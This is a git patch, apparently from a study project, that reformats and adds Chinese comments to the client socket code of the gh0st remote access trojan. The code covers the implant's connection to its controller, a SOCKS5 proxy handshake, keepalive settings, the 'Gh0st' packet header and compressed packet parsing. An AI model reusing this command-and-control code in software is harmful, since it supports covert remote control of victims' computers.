From 96fb9dcecc7cdf66a7ad83724f43b57e1322caa0 Mon Sep 17 00:00:00 2001 From: ChangCheng Date: Thu, 21 May 2020 18:29:53 +0800 Subject: [PATCH] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=E4=BA=86=E4=B8=80=E4=BA=9B?= =?UTF-8?q?=E6=B3=A8=E9=87=8A=E5=92=8C=E8=B0=83=E6=95=B4=E4=B8=80=E4=BA=9B?= =?UTF-8?q?=E4=BB=A3=E7=A0=81=EF=BC=8C=E5=8F=98=E5=8C=96=E4=B8=8D=E5=A4=A7?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- CcMainDll/.vs/CcMainDll/v15/.suo | Bin 34816 -> 40448 bytes CcMainDll/CcMainDll/CcMainDll.vcxproj | 7 + CcMainDll/CcMainDll/ClientSocket.cpp | 339 ++++++++++-------- .../Debug/CcMainDll.Build.CppClean.log | 36 +- CcMainDll/CcMainDll/Debug/CcMainDll.log | 33 +- .../CcMainDll.tlog/CcMainDll.lastbuildstate | 2 +- .../Release/CcMainDll.Build.CppClean.log | 31 +- CcMainDll/CcMainDll/Release/CcMainDll.log | 37 +- .../CcMainDll.tlog/CcMainDll.lastbuildstate | 2 +- 9 files changed, 257 insertions(+), 230 deletions(-) diff --git a/CcMainDll/.vs/CcMainDll/v15/.suo b/CcMainDll/.vs/CcMainDll/v15/.suo index d49bd4b6cff52ba619bbaf6f8ef9877f4abf8e81..70b3d99d6b4b538fad4e5266068f986784ed3947 100644 GIT binary patch literal 40448 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 delta 4058 zcmd^CZA_C_6n^hZTME48TjXoyyOe^^(xQNXtu2bBrL=sGp~0b(Er^7*OZW<9F2+o= zK+m$cWSM5m_QNf6tcgpO&0!?V{IQ9daX%NA{V~}Rmq3ih>CS2U!pn3_r}NKl`}CfB z?$^2JoO{l#|4ZIK!_U+)>d^!HmQcoDTPxGZ1nN?gGE66K|PUjS0u1b!#)`z6G8lBtfLVd z5aKXZgiegqaahM9QX}mQtYZ+8b!VU307rGX`|6QRVs1i|BPtLkgt)X=S0QgRVhf_~ z0sXYJ`+@Mr*qIe42hBQcGkhVxeq&ezOz*^KCwW*Ny zL~X<)orKtkkZO)JHtW_t6*Z;cUUTjpg=Mo#5X05#Sc_jE^HFS~@vZ zi>br+GclMeD0GC}=SVi3$XPwJ#zp#JGFaA3u_*8rw@^DUAVb!zqUJ}L!OPI6 zpV<}8D9=cCkr!dZ0i){X(1{CSS?v-i2Ifcxu>$brw5T|WH)6J+bhMEIsFDH<7SaL5 z5*a5C#+lAC_{Fpd%sZmvd_&$B2h011hbP7Zl{O(8$50GfJ!fS*e4AbdOO@?PT5z?) z*ec{BgA$R*lv6r%!mZ+FfdU#yFLr@fiwa9Oz>;=RpvXp-PV5v0vGF#7N}$223gsAz zdEy8;C97Xyv|*f8!g52KQY+~M@3!OMwpA!F=9P2$*}N2J+WbaJ|Dl5i4-NIMoG_cI zgV#52WO0>ilu^t_J;bDc>pYUXrego-X_1@Orlg!8o_(EbCl6h_l}myym{}#gB#KU4 zr-KJ~za17*>H=!(I!1aj7`+9cda6eWwV; zD00G##`rh)D|B1(>_Q$cKwc)wf>{7PtY{nX1taSP|D=`RkCQ1gFjUXh#B0{v*+ZTJ z$C+cQSLUa>3XnNGTc(2D{aXS9sViUT>o>jMG!P9(Tm6vlP=m&msbsi{83EI&4d8bx z;JC{K^KP4JgzM*exxJj18{~Q+$zz2HS0)U#CWGITmvqg0_dV<9i%Fkka;GjP+`GW= z9hwE-d5kdcIjA~8qDA1vl|8WdW-^>;n}E#r)3D&F`>aFFpt8#Y!<~sBbZOW&Fm$-F zRSREqy#}W{Js@-oFw>=Lru;w7S-47W2iJ%XJ`?^L@PW8JL>rMZ;K#=4k+OvPEJ*3` zV?kK)t)R!5^s&NtM=3OPSHq3YROY}PU9yqz(FfxWV`?BbkaMTOJ#L3YQwaqbdFTp) zf1-?iw8GDwtYNF8>W?LYc3d0g)a$J33 zb~bv-o4_!sh2GI-+_?(+dWxa^*?7q=Yh;nhIoqlLYr5iMR)R*2c!=2hS>ba97bj1# zv}7_>sOaXikfyi2O?p}ztBov`v`Pi9On%5<6CcZmMA1N!Kl{nbbu=Os$LZ!FLO-%x z_Q$hGT#R$?(B1?4N6H6Q)pn?n{d!A#0Zk~)rc9i%<#4+Lf*OORS zc;tksVEwU=84ORwk^$j`R~-?rGcprWrtoj@W={=+lha@QXUm^rCH}YWJb$s`?AH_y zDX&sgqZeJMtaWIN32;_DEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) true pch.h + MultiThreaded Windows true false ..\..\common\zlib\zlib.lib;Wininet.lib;%(AdditionalDependencies) + /SAFESEH:NO %(AdditionalOptions) @@ -108,12 +110,14 @@ _DEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) true pch.h + MultiThreaded Windows true false ..\..\common\zlib\zlib.lib;Wininet.lib;%(AdditionalDependencies) + /SAFESEH:NO %(AdditionalOptions) @@ -127,6 +131,7 @@ WIN32;NDEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) true pch.h + MultiThreaded Windows @@ -149,6 +154,7 @@ NDEBUG;CCMAINDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) true pch.h + MultiThreaded Windows @@ -157,6 +163,7 @@ true false ..\..\common\zlib\zlib.lib;Wininet.lib;%(AdditionalDependencies) + /SAFESEH:NO %(AdditionalOptions) diff --git a/CcMainDll/CcMainDll/ClientSocket.cpp b/CcMainDll/CcMainDll/ClientSocket.cpp index cc938c5..1806452 100644 --- a/CcMainDll/CcMainDll/ClientSocket.cpp +++ b/CcMainDll/CcMainDll/ClientSocket.cpp @@ -2,7 +2,6 @@ // ////////////////////////////////////////////////////////////////////// -//#include "StdAfx.h" #include "ClientSocket.h" #include "../../common/zlib/zlib.h" #include @@ -16,21 +15,21 @@ ////////////////////////////////////////////////////////////////////// int CClientSocket::m_nProxyType = PROXY_NONE; -char CClientSocket::m_strProxyHost[256] = {0}; +char CClientSocket::m_strProxyHost[256] = { 0 }; UINT CClientSocket::m_nProxyPort = 1080; -char CClientSocket::m_strUserName[256] = {0}; -char CClientSocket::m_strPassWord[256] = {0}; +char CClientSocket::m_strUserName[256] = { 0 }; +char CClientSocket::m_strPassWord[256] = { 0 }; CClientSocket::CClientSocket() { - //---初始化套接字 + //---初始化套接字 WSADATA wsaData; - WSAStartup(MAKEWORD(2, 2), &wsaData); + WSAStartup(MAKEWORD(2, 2), &wsaData); m_hEvent = CreateEvent(NULL, true, false, NULL); m_bIsRunning = false; m_Socket = INVALID_SOCKET; // Packet Flag; - BYTE bPacketFlag[] = {'G', 'h', '0', 's', 't'}; //注意这个数据头 ,在讲解gh0st主控端的时候我就说过,要一致 + BYTE bPacketFlag[] = { 'G', 'h', '0', 's', 't' }; //注意这个数据头 ,在讲解gh0st主控端的时候我就说过,要一致 memcpy(m_bPacketFlag, bPacketFlag, sizeof(bPacketFlag)); } //---析构函数 用于类的销毁 @@ -54,15 +53,15 @@ bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort) Disconnect(); // 重置事件对像 ResetEvent(m_hEvent); - m_bIsRunning = false; - + m_bIsRunning = false;//链接状态否 + //判断链接类型 if (m_nProxyType != PROXY_NONE && m_nProxyType != PROXY_SOCKS_VER4 && m_nProxyType != PROXY_SOCKS_VER5) return false; - m_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + m_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); - if (m_Socket == SOCKET_ERROR) - { - return false; + if (m_Socket == SOCKET_ERROR) + { + return false; } hostent* pHostent = NULL; @@ -73,31 +72,31 @@ bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort) if (pHostent == NULL) return false; - + // 构造sockaddr_in结构 sockaddr_in ClientAddr; - ClientAddr.sin_family = AF_INET; + ClientAddr.sin_family = AF_INET; if (m_nProxyType != PROXY_NONE) - ClientAddr.sin_port = htons(m_nProxyPort); + ClientAddr.sin_port = htons(m_nProxyPort); else - ClientAddr.sin_port = htons(nPort); + ClientAddr.sin_port = htons(nPort); ClientAddr.sin_addr = *((struct in_addr *)pHostent->h_addr); - if (connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR) + if (connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR) return false; -// 禁用Nagle算法后,对程序效率有严重影响 -// The Nagle algorithm is disabled if the TCP_NODELAY option is enabled -// const char chOpt = 1; -// int nErr = setsockopt(m_Socket, IPPROTO_TCP, TCP_NODELAY, &chOpt, sizeof(char)); + // 禁用Nagle算法后,对程序效率有严重影响 + // The Nagle algorithm is disabled if the TCP_NODELAY option is enabled + // const char chOpt = 1; + // int nErr = setsockopt(m_Socket, IPPROTO_TCP, TCP_NODELAY, &chOpt, sizeof(char)); - // 验证socks5服务器 + // 验证socks5服务器 if (m_nProxyType == PROXY_SOCKS_VER5 && !ConnectProxyServer(lpszHost, nPort)) { return false; } // 不用保活机制,自己用心跳实瑞 - + const char chOpt = 1; // True // Set KeepAlive 开启保活机制, 防止服务端产生死连接 if (setsockopt(m_Socket, SOL_SOCKET, SO_KEEPALIVE, (char *)&chOpt, sizeof(chOpt)) == 0) @@ -108,8 +107,8 @@ bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort) klive.keepalivetime = 1000 * 60 * 3; // 3分钟超时 Keep Alive klive.keepaliveinterval = 1000 * 5; // 重试间隔为5秒 Resend if No-Reply WSAIoctl - ( - m_Socket, + ( + m_Socket, SIO_KEEPALIVE_VALS, &klive, sizeof(tcp_keepalive), @@ -118,7 +117,7 @@ bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort) (unsigned long *)&chOpt, 0, NULL - ); + ); } m_bIsRunning = true; @@ -132,100 +131,65 @@ bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort) bool CClientSocket::ConnectProxyServer(LPCTSTR lpszHost, UINT nPort) { - struct timeval tvSelect_Time_Out; - tvSelect_Time_Out.tv_sec = 3; - tvSelect_Time_Out.tv_usec = 0; - fd_set fdRead; - int nRet = SOCKET_ERROR; + struct timeval tvSelect_Time_Out; + tvSelect_Time_Out.tv_sec = 3; + tvSelect_Time_Out.tv_usec = 0; + fd_set fdRead; + int nRet = SOCKET_ERROR; - char buff[600]; - struct socks5req1 m_proxyreq1; - m_proxyreq1.Ver = PROXY_SOCKS_VER5; - m_proxyreq1.nMethods = 2; - m_proxyreq1.Methods[0] = 0; - m_proxyreq1.Methods[1] = 2; - send(m_Socket, (char *)&m_proxyreq1, sizeof(m_proxyreq1), 0); - struct socks5ans1 *m_proxyans1; - m_proxyans1 = (struct socks5ans1 *)buff; - memset(buff, 0, sizeof(buff)); + char buff[600]; + struct socks5req1 m_proxyreq1; + m_proxyreq1.Ver = PROXY_SOCKS_VER5; + m_proxyreq1.nMethods = 2; + m_proxyreq1.Methods[0] = 0; + m_proxyreq1.Methods[1] = 2; + send(m_Socket, (char *)&m_proxyreq1, sizeof(m_proxyreq1), 0); + struct socks5ans1 *m_proxyans1; + m_proxyans1 = (struct socks5ans1 *)buff; + memset(buff, 0, sizeof(buff)); - - FD_ZERO(&fdRead); - FD_SET(m_Socket, &fdRead); - nRet = select(0, &fdRead, NULL, NULL, &tvSelect_Time_Out); - - if (nRet <= 0) - { - closesocket(m_Socket); - return false; - } - recv(m_Socket, buff, sizeof(buff), 0); - if(m_proxyans1->Ver != 5 || (m_proxyans1->Method !=0 && m_proxyans1->Method != 2)) - { - closesocket(m_Socket); - return false; - } - - - if(m_proxyans1->Method == 2 && strlen(m_strUserName) > 0) - { - int nUserLen = strlen(m_strUserName); - int nPassLen = strlen(m_strPassWord); - struct authreq m_authreq; - memset(&m_authreq, 0, sizeof(m_authreq)); - m_authreq.Ver = PROXY_SOCKS_VER5; - m_authreq.Ulen = nUserLen; - lstrcpy(m_authreq.NamePass, m_strUserName); - memcpy(m_authreq.NamePass + nUserLen, &nPassLen, sizeof(int)); - lstrcpy(m_authreq.NamePass + nUserLen + 1, m_strPassWord); - - int len = 3 + nUserLen + nPassLen; - - send(m_Socket, (char *)&m_authreq, len, 0); - - struct authans *m_authans; - m_authans = (struct authans *)buff; - memset(buff, 0, sizeof(buff)); - FD_ZERO(&fdRead); - FD_SET(m_Socket, &fdRead); - nRet = select(0, &fdRead, NULL, NULL, &tvSelect_Time_Out); - - if (nRet <= 0) - { - closesocket(m_Socket); - return false; - } + FD_ZERO(&fdRead); + FD_SET(m_Socket, &fdRead); + nRet = select(0, &fdRead, NULL, NULL, &tvSelect_Time_Out); - recv(m_Socket, buff, sizeof(buff), 0); - if(m_authans->Ver != 5 || m_authans->Status != 0) - { - closesocket(m_Socket); - return false; - } - } - - hostent* pHostent = gethostbyname(lpszHost); - if (pHostent == NULL) - return false; - - struct socks5req2 m_proxyreq2; - m_proxyreq2.Ver = 5; - m_proxyreq2.Cmd = 1; - m_proxyreq2.Rsv = 0; - m_proxyreq2.Atyp = 1; - m_proxyreq2.IPAddr = * (ULONG*) pHostent->h_addr_list[0]; - m_proxyreq2.Port = ntohs(nPort); - - send(m_Socket, (char *)&m_proxyreq2, 10, 0); - struct socks5ans2 *m_proxyans2; - m_proxyans2 = (struct socks5ans2 *)buff; + if (nRet <= 0) + { + closesocket(m_Socket); + return false; + } + recv(m_Socket, buff, sizeof(buff), 0); + if (m_proxyans1->Ver != 5 || (m_proxyans1->Method != 0 && m_proxyans1->Method != 2)) + { + closesocket(m_Socket); + return false; + } + + + if (m_proxyans1->Method == 2 && strlen(m_strUserName) > 0) + { + int nUserLen = strlen(m_strUserName); + int nPassLen = strlen(m_strPassWord); + struct authreq m_authreq; + memset(&m_authreq, 0, sizeof(m_authreq)); + m_authreq.Ver = PROXY_SOCKS_VER5; + m_authreq.Ulen = nUserLen; + lstrcpy(m_authreq.NamePass, m_strUserName); + memcpy(m_authreq.NamePass + nUserLen, &nPassLen, sizeof(int)); + lstrcpy(m_authreq.NamePass + nUserLen + 1, m_strPassWord); + + int len = 3 + nUserLen + nPassLen; + + send(m_Socket, (char *)&m_authreq, len, 0); + + struct authans *m_authans; + m_authans = (struct authans *)buff; memset(buff, 0, sizeof(buff)); FD_ZERO(&fdRead); FD_SET(m_Socket, &fdRead); nRet = select(0, &fdRead, NULL, NULL, &tvSelect_Time_Out); - + if (nRet <= 0) { closesocket(m_Socket); @@ -233,29 +197,65 @@ bool CClientSocket::ConnectProxyServer(LPCTSTR lpszHost, UINT nPort) } recv(m_Socket, buff, sizeof(buff), 0); - if(m_proxyans2->Ver != 5 || m_proxyans2->Rep != 0) + if (m_authans->Ver != 5 || m_authans->Status != 0) { closesocket(m_Socket); return false; } + } - return true; + hostent* pHostent = gethostbyname(lpszHost); + if (pHostent == NULL) + return false; + + struct socks5req2 m_proxyreq2; + m_proxyreq2.Ver = 5; + m_proxyreq2.Cmd = 1; + m_proxyreq2.Rsv = 0; + m_proxyreq2.Atyp = 1; + m_proxyreq2.IPAddr = *(ULONG*)pHostent->h_addr_list[0]; + m_proxyreq2.Port = ntohs(nPort); + + send(m_Socket, (char *)&m_proxyreq2, 10, 0); + struct socks5ans2 *m_proxyans2; + m_proxyans2 = (struct socks5ans2 *)buff; + memset(buff, 0, sizeof(buff)); + + FD_ZERO(&fdRead); + FD_SET(m_Socket, &fdRead); + nRet = select(0, &fdRead, NULL, NULL, &tvSelect_Time_Out); + + if (nRet <= 0) + { + closesocket(m_Socket); + return false; + } + + recv(m_Socket, buff, sizeof(buff), 0); + if (m_proxyans2->Ver != 5 || m_proxyans2->Rep != 0) + { + closesocket(m_Socket); + return false; + } + + return true; } -DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam) +//工作线程,参数是这个类的this指针 +DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam) { CClientSocket *pThis = (CClientSocket *)lparam; - char buff[MAX_RECV_BUFFER]; + char buff[MAX_RECV_BUFFER]; //最大接受长度,定义在服务端和控制端共有的包含文件macros.h中 fd_set fdSocket; FD_ZERO(&fdSocket); FD_SET(pThis->m_Socket, &fdSocket); - while (pThis->IsRunning()) //---如果主控端 没有退出,就一直陷在这个循环中 + while (pThis->IsRunning()) //---如果主控端 没有退出,就一直陷在这个循环中,判断是否在连接的状态 { fd_set fdRead = fdSocket; int nRet = select(NULL, &fdRead, NULL, NULL, NULL); //---这里判断是否断开连接 - if (nRet == SOCKET_ERROR) + if (nRet == SOCKET_ERROR) { - pThis->Disconnect(); + pThis->Disconnect();//断开后的清理操作 break; } if (nRet > 0) @@ -284,7 +284,9 @@ bool CClientSocket::IsRunning() return m_bIsRunning; } -void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize ) + +//处理接受到的数据 +void CClientSocket::OnRead(LPBYTE lpBuffer, DWORD dwIoSize) { try { @@ -304,7 +306,7 @@ void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize ) // Dont forget there could be a partial, 1, 1 or more + partial mesages m_CompressionBuffer.Write(lpBuffer, dwIoSize); - + // Check real Data //--- 检测数据是否大于数据头大小 如果不是那就不是正确的数据 while (m_CompressionBuffer.GetBufferLen() > HDR_SIZE) @@ -314,19 +316,19 @@ void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize ) //---判断数据头 就是 构造函数的 g h 0 s t 主控端也讲过的 if (memcmp(m_bPacketFlag, bPacketFlag, sizeof(m_bPacketFlag)) != 0) throw "bad buffer"; - + int nSize = 0; CopyMemory(&nSize, m_CompressionBuffer.GetBuffer(FLAG_SIZE), sizeof(int)); - - //--- 数据的大小正确判断 + + //--- 数据的大小正确判断 if (nSize && (m_CompressionBuffer.GetBufferLen()) >= nSize) { int nUnCompressLength = 0; //---得到传输来的数据 // Read off header - m_CompressionBuffer.Read((PBYTE) bPacketFlag, sizeof(bPacketFlag)); - m_CompressionBuffer.Read((PBYTE) &nSize, sizeof(int)); - m_CompressionBuffer.Read((PBYTE) &nUnCompressLength, sizeof(int)); + m_CompressionBuffer.Read((PBYTE)bPacketFlag, sizeof(bPacketFlag)); + m_CompressionBuffer.Read((PBYTE)&nSize, sizeof(int)); + m_CompressionBuffer.Read((PBYTE)&nUnCompressLength, sizeof(int)); //////////////////////////////////////////////////////// //////////////////////////////////////////////////////// // SO you would process your data here @@ -335,12 +337,12 @@ void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize ) int nCompressLength = nSize - HDR_SIZE; PBYTE pData = new BYTE[nCompressLength]; PBYTE pDeCompressionData = new BYTE[nUnCompressLength]; - + if (pData == NULL || pDeCompressionData == NULL) throw "bad Allocate"; m_CompressionBuffer.Read(pData, nCompressLength); - + ////////////////////////////////////////////////////////////////////////// //---还记得主控端么?? 还是解压数据看看是否成功,如果成功则向下进行 unsigned long destLen = nUnCompressLength; @@ -356,13 +358,14 @@ void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize ) else throw "bad buffer"; - delete [] pData; - delete [] pDeCompressionData; + delete[] pData; + delete[] pDeCompressionData; } else break; } - }catch(...) + } + catch (...) { m_CompressionBuffer.ClearBuffer(); Send(NULL, 0); @@ -370,27 +373,46 @@ void CClientSocket::OnRead( LPBYTE lpBuffer, DWORD dwIoSize ) } + +//取消链接 void CClientSocket::Disconnect() { - // - // If we're supposed to abort the connection, set the linger value - // on the socket to 0. - // - LINGER lingerStruct; - lingerStruct.l_onoff = 1; - lingerStruct.l_linger = 0; - setsockopt(m_Socket, SOL_SOCKET, SO_LINGER, (char *)&lingerStruct, sizeof(lingerStruct) ); + // If we're supposed to abort the connection, set the linger value + // on the socket to 0. + 